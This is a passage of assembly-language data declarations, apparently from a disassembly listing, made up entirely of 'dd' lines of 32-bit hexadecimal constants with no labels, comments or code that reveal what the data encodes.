dd 2C6AFCC0h, 0C9005E23h, 33C4888Ah, 132EE9E4h, 0FB774190h
dd 0EAD5BF00h, 3EFD53h, 9B56BD5Ah, 7CA421B6h, 0B8926631h
dd 41E8803Dh, 0A0A04D0Fh, 0E8EA516h, 9BA24BB6h, 866224E3h
dd 0DB9588A0h, 90C599Fh, 85B48AAh, 42CF373Ch, 0C0018720h
dd 3D10FE27h, 0A9B66801h, 1CD41D33h, 1BB1AFE0h, 699FE293h
dd 4530B6E0h, 1060A074h, 0B8434E61h, 0B29B00D6h, 0BE576180h
dd 3016E61Fh, 0BB0A1D74h, 271C5404h, 904711C0h, 74CF48B6h
dd 454D0B6Fh, 8C23D6E0h, 0B2B067FBh, 2B00AB11h, 0B302F570h
dd 3D1363Fh, 175FAA0Dh, 0EA98A7BEh, 0D800D2E5h, 0A99D653Ch
dd 186A8CEh, 0E082FF68h, 6050D76Dh, 9B00447Eh, 0C41A9DD6h
dd 78179095h, 0D1F03EB1h, 0C3E92C00h, 0C7253670h, 43AA4F00h
dd 7B8E8A35h, 22570040h, 0D484D313h, 9401622Dh, 7226636Ch
dd 67DC7A1Dh, 92AD5C3Bh, 53B02C00h, 0F49ABD52h, 7270C51Fh
dd 0CE3D8C80h, 4A999Ch, 0E1AE585Ch, 0F85DCBA8h, 68CF1600h
dd 7A9B388Fh, 8051E3BDh, 327125B7h, 4917476h, 0F930BDA8h
dd 5B1A100Fh, 0FC8E5E76h, 0E8E6123Eh, 4E3D4000h, 917B46h
dd 0EAD9BB7Ah, 7FE1C35Dh, 37508C17h, 8FFDE000h, 0B831ED6h
dd 2A867DDDh, 8D0D4201h, 0AAF020B4h, 39056E00h, 0A9039479h
dd 18F816h, 0E1EE2BF8h, 3B9EF3C8h, 0F0031B73h, 0C322AA70h
dd 0EAC0952Dh, 5C632BB1h, 8900E079h, 0E9A1CE83h, 0C930431Bh
dd 0F5C206B8h, 0E72C1C39h, 0CDAA803Fh, 70BA4CF6h, 0D1FE5C07h
dd 9BD095C2h, 0D43E56h, 0EFA9A66Bh, 44C0B75Ah, 426D9300h
dd 4ADD5CDFh, 0B1F40014h, 0B72D2C29h, 9C00558Eh, 32DB3024h
dd 4D116Ch, 0D748F954h, 69E35388h, 0CC06F74h, 0FB5D077Fh
dd 89A00D6h, 0E9F95518h, 0E1031B45h, 3DB7AF90h, 0FD018135h
dd 29C9F8h, 7D70F2A5h, 78E87920h, 641C8301h, 0DE34B9C5h
dd 62C87C8h, 136A2DFFh, 5FF6BE4Bh, 3772DCA9h, 1A23F44h
dd 0A63261B6h, 0FF5D89h, 0FA06B219h, 9F550A0Bh, 0B72CD604h
dd 0C0A0FDB5h, 51C5649Bh, 0DE3101ACh, 68CA9CF1h, 93C15Ch
dd 0AE478864h, 550182F5h, 44A0E016h, 0A5DF811Ch, 8038B8EEh
dd 0CAC0EDA4h, 3CE51F3Ch, 0DE006F9Ch, 49942B15h, 0B1070A6Bh
dd 22A26732h, 7B692CA0h, 0D2840054h, 5C2DF9ABh, 400050F2h
dd 724E3CAFh, 3078B21Eh, 0C0C9E75Eh, 7316E0F0h, 7518E316h
dd 0FEB97BA1h, 78A800B3h, 0B4D4F5Ch, 0E500AAC7h, 0CD062BAEh
dd 4C97B926h, 0EC0210FBh, 0D34045E1h, 0C2C1D868h, 5C00D4B8h
dd 0B71EB99Ch, 8A1FE4h, 0D877521Bh, 615BE835h, 0C331167Bh
dd 4D8E0CEFh, 982015DDh, 5CB106FCh, 919B0399h, 0B0AFA100h
dd 58EE543Ch, 553700FAh, 42D849C5h, 16005994h, 5C3470EBh
dd 8452B6h, 0C13ACF89h, 0C428DCEh, 80D2823Bh, 0EA6AA811h
dd 121DFD52h, 0FE8BB18h, 5F41A96Ch, 0BDEE0156h, 0B8A80010h
dd 77AF3A3Dh, 794E0063h, 0F30DB976h, 4C0196CEh, 0A48DE44h
dd 3FD47B02h, 0A8A02884h, 0AF7901A8h, 30F01264h, 823DD8F7h
dd 2B390E60h, 373B275h
dd 0B57C9E33h, 0C0B7AC9Dh, 797D9BAAh, 0A08F1C28h, 0CC8A0A00h
dd 0F3EE588Bh, 48AE7077h, 0A6112C26h, 0E883005Ah, 46D3BD79h
dd 60F04599h, 787C97B8h, 3AFEE439h, 0AE9680FAh, 0D69A62E5h
dd 0C2BF008Eh, 0DC7EB792h, 0E8125E28h, 4C008477h, 0A794DD17h
dd 98C600BAh, 3BDFE3BEh, 68022DDEh, 443D2F1Dh, 403C59B2h
dd 4FF58073h, 776A41C0h, 3F33C38Bh, 9D257A86h, 93079082h
dd 9FE88C6Bh, 800394Bh, 0DE885DC0h, 6A65C26h, 1E1DB9F3h
dd 0FF005860h, 270D2130h, 7AFC23Ah, 9BE7A479h, 96C110D0h
dd 54009935h, 494F15E5h, 2EE484F2h, 10736D8h, 480ECDEDh
dd 1DBC4255h, 0B8001C50h, 9392D66Fh, 7E68F4Bh, 0F45468A2h
dd 3E0C90D7h, 8E60DB38h, 8DCAC918h, 0EB5700BBh, 0AE8B6541h
dd 26034001h, 276C7A81h, 0D2801A6h, 45D798B7h, 3A0870F5h
dd 9E5F1700h, 0F66F7FDBh, 0B6130073h, 54CED51Ah, 900133C5h
dd 11F2F7A4h, 0D3D8B376h, 36721DF0h, 0D019F06Dh, 0A498A301h
dd 8FBD4F00h, 0B7785ECAh, 0E0EE02D5h, 3B9A2D0Fh, 5F002070h
dd 0A7EA2449h, 767B35Bh, 6460A9DDh, 7ACF5004h, 0F1121493h
dd 9412404Fh, 5751FC80h, 65691FF0h, 0D788405Dh, 40830563h
dd 0A0EF2501h, 0AD449CAAh, 5DF2E083h, 2FD8CD09h, 1E0C7512h
dd 0FACC8852h, 48FF0064h, 393C1158h, 670761E2h, 24F72B1Bh
dd 66DDBF50h, 0B4C00D7h, 2A2832E8h, 7501D9C4h, 0E63D41BCh
dd 90D4AB3Bh, 0B65801E5h, 9CB43288h, 0E0B8DD87h, 2200B56Eh
dd 8B1BE0B3h, 8A4F4Ch, 4A2A79EDh, 0E32D52C8h, 87E0B49Eh
dd 79FDE754h, 4661076Fh, 0C03B26A6h, 5F12FA83h, 24586416h
dd 0D301D040h, 2423180Dh, 11413ACh, 40F6694Eh, 9767E4BAh
dd 4D2AE800h, 0F7D1277h, 0A4968Fh, 0E108061h, 6218F784h
dd 1118BCBDh, 2B190C1Bh, 2361C56Ah, 3512D37Bh, 9441AA92h
dd 9656C3C2h, 44F020h, 0A8EBAE4Ch, 7C4847D2h, 3820D50Eh
dd 0B5798264h, 8A5C405Ch, 4C354818h, 0B6D410h, 71317263h
dd 3E7B27F2h, 0C100FD15h, 0DE046EA6h, 9A00062Ah, 21F68E4Ah
dd 910EF2h, 0D9C58A08h, 0F1BD55Eh, 615DC400h, 0B2AD11F3h
dd 0E08003Ah, 4FAB964Eh, 721F7C87h, 88409F02h, 600B056Bh
dd 5955B89Ah, 393B0043h, 71C9C800h, 3F810D95h, 0B0FCCD7Dh
dd 980703ECh, 0CA19B155h, 0E16C02B0h, 0FBF55C7Bh, 9AE33A03h
dd 6688275Dh, 8300D823h, 0D90D82F4h, 0E96D5FCh, 0E2AB73FEh
dd 0AE67BF60h, 38009BA1h, 481FCC03h, 56B6F4h, 0FEAC71FAh
dd 722F109Dh, 9D44383Ah, 4840A7C4h, 0F893425Ch, 32E05Dh
dd 1EB1A957h, 0B0D98713h, 0C684C350h, 0EED74C00h, 0CCDE37E5h
dd 961E000Ah, 0C99811FBh, 40016A4h, 0DD039502h, 2C0C83A2h
dd 0CCE154h, 0ED3839ACh, 5038960h, 0B7512307h, 0B15000F2h
dd 57154910h, 0D30034DFh, 0D4843505h, 9F7020h, 86C46326h
dd 0C97F074Ah, 1C669E00h, 0CE097357h, 6329004Dh, 0F2E76960h
dd 9D002A12h, 0EC70A20Ah, 2D67C9h, 593BFA2Eh, 0A44D13BEh
dd 1578317Eh, 2DCD225h, 5AA88138h, 0C9000BCh, 3B27B511h
dd 8F00B0C1h, 0EC2A1CD0h, 3C77A71h, 61D4084Dh, 1C8ABB4h
dd 0CE00461Fh, 2DE782A3h, 7DDB45h, 1A49FB86h, 55748FE2h
dd 44F45B09h, 531868E5h, 44C959FCh, 0B6984701h, 0D1903D48h
dd 53C6D046h, 4310D750h, 91D6BE02h, 58AE80BAh, 0B87A1B58h
dd 0CAC32088h, 0A5ABA3E0h, 1CD41B00h, 9C201D78h, 4497BD3h
dd 5B9FE295h, 0D6A48231h, 0A54C82C0h, 80A29300h, 41A05629h
dd 0BE550061h, 0F71C9225h, 6F3EC066h, 45B6813Bh, 0D653C73Dh
dd 0E7954847h, 0D0916412h, 4FD02111h, 0C9D10355h, 0D6FC08BDh
dd 1352C6E8h, 0FD010EFEh, 222C3FACh, 81ECEC5Dh, 0D59C03C4h
dd 0DFC3CECFh, 0F59377C7h, 0CB48C085h, 9F006B84h, 5B5640E2h
dd 3F61870Dh, 7C011DA2h, 0D1985F5Ch, 0BEF0BB10h, 0C2FC98A4h
dd 14CA6A1h, 603D4D15h, 984510B6h, 8621B909h, 0D8150654h
dd 0C9E2BD57h, 0ED630E1Eh, 0F400C25Eh, 49C83974h, 7B133DB6h
dd 1951A684h, 72B0C06Ch, 5B00B53Bh, 0C87ED98h, 26213D12h
dd 0EEB1ACBh, 75EC9019h, 4D6CAA18h, 8CA3A070h, 4C1115F8h
dd 0B788583Dh, 15558581h, 94D06AEDh, 0E6450072h, 2106FC8Fh
dd 68D23E2Bh, 0A0119490h, 709A6755h, 0E2773BBh, 0CA5D2001h
dd 26B10CEh, 147C1081h, 87D5BC74h, 34EB239h, 0AA415B20h
dd 515333A0h, 2100E908h, 8F034694h, 79303965h, 319B0444h
dd 0C0EEBCF9h, 0C89CE101h, 0F13DB1C1h, 68800D6Fh, 0ABC67E73h
dd 0B6030C67h, 69DD9AEh, 0C85193BFh, 390E80FEh, 4980EDBEh
dd 4304E431h, 62002B61h, 18FE84B9h, 76F41Ah, 0FC1BEDC8h
dd 7AEA15FBh, 0D0B38C04h, 0B0C0F940h, 471A2Fh, 0DCB4D9DAh
dd 0A809984Dh, 48E86B00h, 144E2D59h, 17730090h, 699497Ch
dd 3100E4B4h, 60AE1DA8h, 1901ACh, 335C3BDEh, 0E3A3ED6h
dd 550044F0h, 1D37D10Ah, 0AFA832AFh, 53C16104h, 357880DEh
dd 15AACA9Eh, 0BFDA0EB6h, 0F487ABCEh, 0C13AE0A4h, 5B06B767h
dd 0C5D635AFh, 11FE4229h, 5321A9D8h, 90C3A208h, 7DEC84F2h
dd 0A3420F48h, 0C0162292h, 9F7C882Fh, 4E2222FBh, 114A4290h
dd 17287A9Ah, 8E962228h, 74112E42h, 0B3C3107Fh, 1A247D00h
dd 819260BAh, 0F3B71300h, 1FB168DAh, 5DBD000Fh, 3A17759Eh
dd 5C006D7Dh, 4D3C36Bh, 393C67C4h, 719781B2h, 0DD00FE5Ah
dd 493EEABEh, 451E00C1h, 327E3122h, 0C3E0A411h, 0F6015D01h
dd 0CB52D5D3h, 8269B07Ah, 0C6CD061Ch, 0CA642C40h, 4B0A46h
dd 4F1280AFh, 4727AD6Dh, 89F21807h, 37277EA9h, 0F07D541h
dd 6B12DECh, 2771E7D0h, 0B5384960h, 0DA7983C2h, 70F07Dh
dd 99C94251h, 0D29676Fh, 980144FEh, 0F48CBD0Ch, 0D6C05A70h
dd 0BE82008Bh, 0E27776ABh, 9F002A67h, 5094E17Fh, 3C9A84h
dd 400F6487h, 0BB6F52F4h, 25DB95Ch, 21A4811Bh, 0D3FAE04Fh
dd 0BF2600A1h, 5CD71944h, 6C00ACF0h, 181D357Eh, 9FC29Bh
dd 0E646E580h, 2B8E0290h, 15072B90h, 0C952D67Ah, 0DF7C9FE0h
dd 72A70050h, 0C40E1F0h, 674CD2E8h, 2C5C54E8h, 0DD8B230Ch
dd 7BF28F7h, 0CA784B51h, 0C3723044h, 2A7CE78Ch, 0DCEDAB05h
dd 0DDC05EECh, 0C03381C4h, 0FA36D3FAh, 0B7B09FFEh, 0A6C310C0h
dd 40EB70DFh, 9301D412h, 7C1FB237h, 67E074D1h, 0B8541FE2h
dd 53520994h, 744A020h, 64E8A539h, 0CC9BD600h, 0A4158BD2h
dd 0B4853F51h, 0EA28B684h, 0CF07C081h, 41EA7C9Ah, 34023303h
dd 0D9264AA6h, 0B180DB80h, 49E264C5h, 95000121h, 3D163B4h
dd 50BB18h, 3C07C6E3h, 5B056EE9h, 82AFD8A0h, 844FDC00h
dd 3AC96575h, 29E41E45h, 0DE434061h, 2A218D99h, 0CF638700h
dd 0D9B5B1CCh, 0F1C70018h, 0D9915E7h, 437C0BCEh, 0AB146100h
dd 377E714Dh, 31C40917h, 4800A751h, 0AC571AA6h, 854C100h
dd 3AE43077h, 0B73E1DF5h, 0C4A8B1h, 383235DBh, 4428800Dh
dd 16EE7EF6h, 83C76A00h, 0C9F69C9Fh, 9ED7006Bh, 978AAC8h
dd 0BF001B29h, 0DAD31AEFh, 10632E6h, 24CE11B5h, 0CC8F8CA4h
dd 5098DD54h, 324D4500h, 99BA28E2h, 1BDF003Bh, 483990F3h
dd 2500E567h, 23F8DA6h, 0FC34C555h, 0EB48BAh, 8A542E7Ah
dd 32C900DEh, 0E743BD01h, 47167212h, 3A3DD800h, 0EC307E59h
dd 0B06C5FAEh, 0B702B626h, 0CD03E2BCh, 0F31C4801h, 0DF9717C3h
dd 40400080h, 0D8430621h
dd 1EC88300h, 0E2CAC6C2h, 3E580447h, 9780EE5Dh, 0F9004814h
dd 0E7C2308Fh, 20BE0023h, 0B31179E9h, 10F65182h, 17665C07h
dd 2E82A243h, 40040C1h, 0D3750052h, 401F817Eh, 1917652Ah
dd 0AE0014EEh, 72E54341h, 20B5480Eh, 0B4F50400h, 0AC9D2E05h
dd 2A4DAD0Ch, 0F848B9h, 0E5DF7E6Eh, 0FD6C1E58h, 5E0AE97Eh
dd 0E0D203D0h, 88DC3500h, 1C2C30h, 70560BA3h, 0AD6E9F85h
dd 2B7DD416h, 0C6BD5500h, 1B38F3Dh, 57A60D83h, 0F0BF635Eh
dd 4100AF70h, 0CB716E1Dh, 0B54476h, 9A4258Fh, 0D2402318h
dd 6169E4A0h, 1CFE4E00h, 7357B4DEh, 0AD1F002Fh, 1836C6Dh
dd 0B800D9C9h, 0B131265Bh, 0E4871718h, 2B900BC1h, 0E6026E80h
dd 5F4015E4h, 9614032Fh, 8E445F2h, 6D5E01h, 2797B935h
dd 6BF2AF4Ch, 5D118800h, 26B49184h, 1253002Ch, 38C8CB43h
dd 7D5452D3h, 6A038AD0h, 8BBB91ECh, 9F410289h, 0F7D34151h
dd 0F181C460h, 0CFCEDF01h, 2B393295h, 0C81BBC43h, 38269C50h
dd 808209D7h, 0AED84F1Ah, 59EDCC60h, 57766A02h, 40E1FFD0h
dd 133EE5Ch, 5455A774h, 0C47CBD6Dh, 1A1C6426h, 0F3C099F0h
dd 0A8CA8549h, 96DC00EFh, 287AB386h, 0B1672616h, 0A2FF093Eh
dd 6868E36Fh, 0F5F308Ch, 43E0D316h, 0B0808049h, 0F73A204Eh
dd 218F38h, 3717C5A8h, 20D257Dh, 7C95A788h, 604082E0h
dd 1F0033ABh, 81DE4C21h, 147FFA6h, 80178548h, 0F6862C90h
dd 0B9246C40h, 0EAD0B88h, 634853EEh, 6A694BE0h, 9EFB20BDh
dd 47015EF8h, 0FCE55FEEh, 3CD8A020h, 56809D97h, 71B15081h
dd 7200CB55h, 93FDA752h, 5102F5h, 0D361DCBDh, 15E4BCAh
dd 8C2C8600h, 9F9D523Ch, 537C013Bh, 0BE9B3144h, 8155C530h
dd 0DC890240h, 0F88B9F9Ah, 3C0F7969h, 0DFC69C60h, 0B7184598h
dd 883C6C0Ah, 0EBA5039Fh, 0DA0C3938h, 0E48016BAh, 7FCE2752h
dd 1015EA30h, 0A665C4h, 0D02844B8h, 0FAFB9582h, 0AF8D318h
dd 0C58BDCD0h, 9FDD28h, 3EECCA88h, 5C006073h, 7A704CB2h
dd 24BC78CBh, 24C49A7Bh, 54090343h, 0A801A26Ch, 4814EC82h
dd 1093A3FBh, 9F8B00EDh, 0F0B68F4Eh, 49033916h, 8DFC4000h
dd 0C0AB4A6Dh, 65C07C28h, 0E10CA514h, 19E519EAh, 17F5E8C3h
dd 5D180AAEh, 0E98F4BF4h, 7E33020h, 0D7A09F8Dh, 7099B804h
dd 0D71F2511h, 5F2CF898h, 2C648784h, 1F57ADBh, 1510EF37h
dd 0D9588121h, 1B4039ACh, 0C6F12881h, 0EBE7515Ch, 0C87DE2E1h
dd 6C2C6801h, 560CB112h, 0B0872821h, 0A8F004Eh, 637D80F2h
dd 0E4003E02h, 22E82B95h, 7DDA5B35h, 26D10E73h, 28023165h
dd 0D340ADABh, 6D3F8CFCh, 0FBF18074h, 1F5FDD34h, 1DCC4805h
dd 0DAB86901h, 8014EF6Eh, 77BB4664h, 78632673h, 0B8B0EC2Ah
dd 0AD6A0EFFh, 7580213Dh, 0B14A78D5h, 0EF3B200h, 2C33481Ah
dd 5498D0h, 0AA2A348Dh, 3516270h, 59AEC750h, 8158814Ch
dd 4A07856Eh, 0E6C7DD4h, 14E2F33Bh, 0C2B00037h, 6A812C91h
dd 0FAF56901h, 432EBAAEh, 755430h, 338920F2h, 0E340B894h
dd 0F300BB7Ch, 9D1F4E3Ah, 0C4E9CCh, 0AC061D9h, 242589C8h
dd 0A0AC58h, 0C1DD1A50h, 3E4E9A5h, 8D77706Fh, 6AA8FE2Bh
dd 0C70207E2h, 74B54796h, 589084CCh, 0FA220C80h, 7AE8B001h
dd 28420004h, 0D3B3F941h, 6A04CF16h, 0D4762D6Ch, 2077DC80h
dd 0E64C0130h, 840534E7h, 0DAF8244Ah, 9000BA73h, 3DF8C528h
dd 262E7B77h, 120C292h, 6FB5B286h, 26642CC7h, 4C4548BCh
dd 72B67280h, 349B0992h, 803179Ah, 5FA8A9BBh, 0F8000C0Bh
dd 5179D673h, 22B1DACh, 3A4112A4h, 0E7D154h, 3034A4D3h
dd 0B6E0F0C8h, 393E9100h, 0FE7A62E4h, 0B7210B74h, 0BC82AAADh
dd 0B4C85A97h, 76004898h, 64F3BBDEh, 0A3694E4h, 0E0D1A784h
dd 0A1FE01BCh, 61E74C7Bh, 0BB6D4BCh, 5300117Dh, 0A940241Bh
dd 5F33A8h, 12F33E9Dh, 0A4BB3989h, 0FAF94D00h, 0F0D3208Dh
dd 0C58000BFh, 3AFF3E4Bh, 290096E0h, 0AB0CDABBh, 0A1045Ch
dd 70242B3Bh, 1FE15A06h, 834C8700h, 7AE8401Ch, 0BDB8F7h
dd 0F93C2DE5h, 0B4317FFBh, 880F5A79h, 0E0CAB742h, 8DEB98D9h
dd 0C5AB0045h, 8ACEA5A1h, 0A583986h, 5FF02B6h, 611C9E77h
dd 0B8294C00h, 0C7E32709h, 41310000h, 0B50EF929h, 1C829Dh
dd 0BC8D4B7Ah, 15A300AAh, 73E62C45h, 30C1C913h, 6B1B36D6h
dd 0E73560h, 837F7CB1h, 0ABC726F6h, 31D84500h, 0B49C2A0Eh
dd 0CBCD00D4h, 0EB4895E2h, 380306B7h, 213790FEh, 0C3B0C835h
dd 418B0011h, 0A1BD22ECh, 500653Ah, 8E508F69h, 7713BA7Eh
dd 5C6700F1h, 0F7DAD328h, 0D750F43Ah, 9409CAD4h, 48CD1C87h
dd 0B4F8A8h, 13D57DAAh, 9554BDFBh, 0C13F8A00h, 160F718Fh
dd 0DEA224B8h, 76D9264h, 0B02D4FECh, 0E3BAB79Dh, 4E9ADB00h
dd 0B18D3CEAh, 3B27B0DAh, 0C3132F09h, 1EC800BAh, 0A296CA3h
dd 0BB546D3Eh, 0A54D0046h, 2078DFD8h, 0F5DE1DCAh, 0EDA6001Fh
dd 3E1C702h, 0CCA13B1Ch, 3A911C80h, 0DD4DF9h, 682966E9h
dd 0B676B570h, 0A12A8100h, 11DB5761h, 0A8E60001h, 6A9DB3FAh
dd 0B2018E3Ch, 863DA33h, 0A4D862C3h, 57780067h, 0BB9AFF48h
dd 2A001297h, 0A898B603h, 3DD0859h, 0A9B23DFEh, 568069BAh
dd 202D86Ch, 803311CAh, 0DC38C90Bh, 7D849C28h, 5A7F0118h
dd 1434980Fh, 6F9A00AEh, 0CFC42976h, 9958BDBCh, 8AD200B4h
dd 0E7A20A43h, 0C87601EDh, 1335AFD7h, 4800C361h, 7A31F632h
dd 2FE2CA6h, 0C886A1B1h, 0C4EB145Dh, 8960B2D2h, 42F87AD7h
dd 0BA3B5503h, 0FD9D93h, 0D45C5040h, 0A9CBD699h, 38F1385Ch
dd 5656A647h, 95DB4607h, 0E8C0A561h, 0D2DAD4h, 315DC303h
dd 94E73FFCh, 86D12400h, 0D3BC29DDh, 0A96A00C6h, 254FA10Ch
dd 2A6FC9A3h, 0E73E6118h, 11890368h, 38077CACh, 0AFDE0138h
dd 810E2013h, 6578F800h, 0EB4BE9D7h, 4CB8A2h, 0E85623EDh
dd 0AF4AD364h, 0ECC13607h, 4552A3F5h, 885863C9h, 0BA6225h
dd 7F0C7074h, 24E4B5ADh, 43B09950h, 1315EF7Bh, 19CDB8Dh
dd 0EC5FA8B0h, 0E460F52Ah, 74FE7453h, 7EFCB219h, 0B26D183Ch
dd 0A7D840C6h, 38989576h, 0B60C30Bh, 1002F0Eh, 90176FEFh
dd 19864F2h, 0E892B653h, 5777DB0Dh, 0B02FE7F8h, 0A780DD40h
dd 6C733905h, 0C90E6A8h, 162CA5E5h, 2B0A23Dh, 55AA9A38h
dd 0FB3390E8h, 0CABA8D00h, 0E009D69Ch, 6D0C0095h, 29DC1527h
dd 7800B987h, 0BBB0AE0Bh, 9060ECE7h, 235205E0h, 76DC7ADh
dd 303878B8h, 0F70D1A2Dh, 0AE082CB1h, 2AE8011Eh, 0D42840h
dd 163881h, 7D9654B6h, 0E6C7CB0Fh, 23A56402h, 0D061B90Bh
dd 793E3810h, 0CF6F6080h, 93C808DEh, 75B64803h, 905E6D38h
dd 16BAF7C1h, 103AEEh, 2526492Ch, 0A9020842h, 72AEADD8h
dd 4C3F6004h, 0D11226AFh, 4B043954h, 0B07DAB43h, 311DDF38h
dd 54004E2Eh, 0DA83C421h, 940E3091h, 7CB264E8h, 5E86F826h
dd 71757700h, 606BE5D3h, 2C7EE9C9h, 6600FF40h, 33266D48h
dd 0B02D4h, 1B7DF1E0h, 4E125B03h, 75423507h, 0AB60F224h
dd 1D9D67AAh, 4EE271B4h, 59270145h, 0BD5A720Bh, 56ECFFE0h
dd 660F1300h, 0D1DBA0FAh, 0AABF1D7Ch, 71CE0069h, 0C8A41973h
dd 0DDE03F02h, 406D3E2Dh, 0F0EE24h, 56CEF558h, 60696F32h
dd 68C9B20Ah, 410FC0D5h, 14F6A079h, 4FBCD6h, 0A527078Bh
dd 0F94B6465h, 0C0D22112h, 0B9385900h, 1E8F2F20h, 0B988C91Fh
dd 0F9357600h, 812D1EACh
dd 0AEFB3705h, 0C0000EFAh, 7E656609h, 34201832h, 0F7111C28h
dd 8DFEB709h, 0B58801Fh, 5CF04Ah, 0C49AD360h, 0EE2101B9h
dd 0F5451609h, 4658E861h, 0EB90008Ch, 923AFC56h, 0BF00D5AEh
dd 954A015Dh, 72258F5h, 50D05E13h, 0A2A770C8h, 600E3F9h
dd 0C60CCE39h, 0D54535h, 8CA49CC1h, 0FD8E8759h, 0C99F7B00h
dd 0F339ABCDh, 3D6E007Ah, 0C870EC61h, 940A2BB5h, 0E8F41E86h
dd 88DBD503h, 0B643F0D1h, 0A0D9006Dh, 86A695D0h, 8703F44Ah
dd 42FE2833h, 8CE1E9E2h, 0FEAB9BE0h, 0D9110181h, 8776FA32h
dd 0BED430AEh, 89E4583Bh, 82FEB0h, 33697FECh, 0E6615041h
dd 98CDE61Ch, 832902A7h, 0B7F5F267h, 0F521060h, 59AE3B50h
dd 9B08D700h, 87BF7BBBh, 0B5D6004Bh, 0E37FA34Dh, 0D239CBE6h
dd 4FDD008Bh, 0D885AB9Fh, 7F77299h, 0B4DE1A50h, 5A7C0C7h
dd 3D0098DDh, 9CB8AF34h, 0F10D31Eh, 7BB7B142h, 0ABC37C40h
dd 450095A8h, 4ABFA52Bh, 1D7196BCh, 5C640h, 0CBA37E3Ch
dd 4E00C799h, 0AB16EC68h, 1F96CCC8h, 4258E9AFh, 208AA01Dh
dd 4E0FFC80h, 645460F4h, 0F548BDF0h, 491A0086h, 0EB6F55C9h
dd 4ABC0092h, 5AF79478h, 9CB03F28h, 69C3E107h, 1303605h
dd 0A172E5Dh, 0CB4CD462h, 0E5A601FCh, 57813DAFh, 60A007B4h
dd 0E48C311Bh, 84987A12h, 97C8C88h, 90A4B44Bh, 8C538CCCh
dd 0A38300F4h, 0B3D3B491h, 2D70BF5Eh, 63BDB750h, 0C189061h
dd 9EECFEDCh, 11D0081h, 97F5F041h, 20BA4DF2h, 1A54E200h
dd 403D1878h, 7F17008Fh, 9791B0AFh, 5C1C3E39h, 0E2C04E89h
dd 1B55DBBBh, 0C8BC0015h, 5AC10FE6h, 0C33DE5CAh, 50EE8054h
dd 21AC2917h, 440A19F0h, 7055E8ABh, 0B80012FBh, 0AF6AE8C9h
dd 0C1432Bh, 15779809h, 6EDCF5B5h, 0D5051216h, 3B6AAC00h
dd 5E2F7CADh, 0D9A400A4h, 536CD101h, 0C7421709h, 0EDE4030Ch
dd 21BD8989h, 26162C3Ch, 0DFF85441h, 493CC700h, 310A9DB7h
dd 0D61319C0h, 9A8938h, 0D192DF21h, 801290FCh, 0E9F0AA00h
dd 0E7B475BCh, 9B1F0596h, 0C0A75969h, 5DDB2A9Fh, 4F920D00h
dd 6CC12E17h, 1B09581Ch, 0A800804Ch, 2D35B4Ch, 7900B2FBh
dd 0FFAC9D3Ah, 84993h, 0BEF707D4h, 0E6DFE57Dh, 75D5F800h
dd 0CD3F4F94h, 0A48F090Dh, 8C00E220h, 54D63C77h, 0F4FF2224h
dd 406BF003h, 740BD88Bh, 5B377B4h, 1314B29Ah, 79B4900Ah
dd 0A658D0BCh, 4C007304h, 543A654Eh, 0B9A988Fh, 0EFF64EBh
dd 9B80F820h, 0F700F0DCh, 925B1E96h, 719EBAA1h, 275C0010h
dd 0E0A9625Fh, 11C7CA55h, 0C4F096FCh, 0F2BA810Eh, 0CF53032Eh
dd 31DA33B1h, 0F609C5D8h, 0BDFE6800h, 763EEC28h, 5C42005Dh
dd 44855440h, 0E10EA3B6h, 9C4FD2D6h, 20D5290Eh, 0AFA1C69h
dd 2D300EC8h, 801EAD9Eh, 0DEEED18h, 0D0C33922h, 891AE670h
dd 10802EE9h, 715F53E3h, 1057A17h, 0B0C9164Ch, 4AD7CA0h
dd 0E5E367D4h, 0F8510031h, 0FBCD27Dh, 4EC4A752h, 0AB9394E0h
dd 442D787Ch, 4E494B8h, 38CA40B4h, 0DCC4F006h, 28924A03h
dd 23F7E9Eh, 0DBFE8C48h, 0F80E3Eh, 30F4F018h, 5A63570h
dd 938F7947h, 325CD05Ch, 150966FCh, 200CDCCDh, 0EA172A54h
dd 0CB89429h, 1912D136h, 47E6630Bh, 0B304A1C8h, 0B8F78FEBh
dd 177E186h, 0F99F01EEh, 0DD4630CFh, 0B69AD025h, 34D53200h
dd 3B46219h, 0ABBE0092h, 0CEA8B80Fh, 6B004BAFh, 786D8CBFh
dd 0C9A506h, 7D21B13Eh, 0D2B29EF9h, 0EBBA900h, 9F84B632h
dd 0AE280AFDh, 1C88CF47h, 385C0EAh, 0CA77E20h, 15D81E1Ch
dd 0ED013196h, 0EE659A6Bh, 90439443h, 3A8C6A33h, 0B3808183h
dd 2C900AECh, 0E200D0B1h, 0EFF4E955h, 7E4FF131h, 6B580020h
dd 83FD6288h, 7A00921Eh, 2A595B5Eh, 0BB9735h, 251F2B10h
dd 0BDB693A4h, 28A96C26h, 6A754D00h, 0A230EAh, 3874391h
dd 704198EBh, 2DED5F01h, 0A47C5AEh, 902CBDD4h, 0D52309C9h
dd 38E057D4h, 2A00C0EDh, 0EF3BB529h, 980AEE7Ah, 32351728h
dd 91149C61h, 4A5FFF00h, 9EC9AA18h, 0D87500F1h, 0DDF8FDBBh
dd 0F40040A2h, 9F0A5FB2h, 0EC6C717h, 29B0C5A4h, 0C17F8620h
dd 9300DB57h, 6A63B3F2h, 77DE0BE5h, 245B0909h, 0A18739D5h
dd 2083A261h, 0D2BA60E3h, 9800A87Ah, 0E203B929h, 78DCD63h
dd 0AB87D308h, 0C4F9936Dh, 511C8AF8h, 0E53DA700h, 10F74956h
dd 774A24B2h, 0E2B70205h, 0D0C0E926h, 0E00ED4Dh, 62FF6E6Fh
dd 0C1443DDh, 0E8DF4E0Bh, 0C91EC120h, 0AD40E5CFh, 0EB545D3Fh
dd 0D55F82h, 3C5693F8h, 0CE053B23h, 0A45C8A79h, 939930E0h
dd 4540437Ch, 0A2D28801h, 0C29E0220h, 2757470h, 2DEAB187h
dd 0B4A3A0C0h, 3665EF72h, 0D0B0D241h, 195917E4h, 0BCE1076Bh
dd 0DCAF11A2h, 15F9FBB9h, 7E8695Eh, 6B404585h, 0A1B46D90h
dd 5C1600A4h, 68A7C32Eh, 0D249620h, 6700E042h, 7662DDAAh
dd 7F5F3BE0h, 0F852780h, 0DA541007h, 28533630h, 2468D9B0h
dd 709916h, 0C1A13AECh, 341D79A9h, 8CDEFD2Ah, 0CC0A5DCh
dd 0B499F4F2h, 327600E0h, 919D3382h, 6A0072CAh, 6B96B8FDh
dd 9A10F18h, 505AF6BDh, 0BF86C0Ah, 8A0C0CCh, 7DCDE0E9h
dd 355D9C00h, 9FAFF3D7h, 0EBED002Dh, 5A498102h, 0A603DB39h
dd 979831B0h, 10419006h, 0EEE0ACh, 966570BDh, 83AF1895h
